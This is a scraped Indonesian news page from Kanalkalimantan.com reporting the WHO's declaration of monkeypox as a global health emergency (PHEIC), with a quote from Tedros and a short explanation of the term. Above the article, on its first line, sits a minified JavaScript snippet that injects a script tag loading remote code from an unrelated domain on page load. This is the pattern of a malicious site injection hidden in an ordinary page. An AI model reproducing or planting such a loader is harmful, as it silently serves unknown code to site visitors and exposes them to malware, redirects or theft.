(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– WHO telah memutuskan bahwa penyakit cacar monyet sebagai kondisi kesehatan darurat atau Public Health Emergency of International Concern (PHEIC). Langkah ini dilakukan organisasi Kesehatan dunia ini dengan telah mempertimbangkan berbagai aspek secara mendalam.
“Untuk semua alasan ini, saya telah memutuskan bahwa wabah cacar monyet global merupakan darurat kesehatan masyarakat yang menjadi perhatian internasional,” ujar Direktur Jenderal WHO, Tedros Adhanom Ghebreyesus dalam siaran tertulisnya.
Dikutip dari laman WHO, PHEIC dapat diartikan sebagai kejadian luar biasa yang berisiko menimbulkan masalah kesehatan masyarakat di negara lain melalui penyebaran penyakit internasional dan berpotensi memerlukan tanggapan yang terkoordinasi.
Baca juga : WHO: Cacar Monyet Darurat Global
“Biasanya, kondisi PHEIC ini terjadi secara tiba-tiba dan cukup serius. Hal tersebut yang membuat kondisi ditetapkan darurat agar tidak terjadi penularan kasus berskala internasional,” tulisnya.
Bedanya dengan pandemi, merupakan kondisi darurat kesehatan berskala internasional. Pada kasusnya, penyakit sudah menyebar di beberapa negara, sehingga membutuhkan tindakan kesehatan untuk mengurangi kasus yang ada. (Kanalkalimantan.com/suara)
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.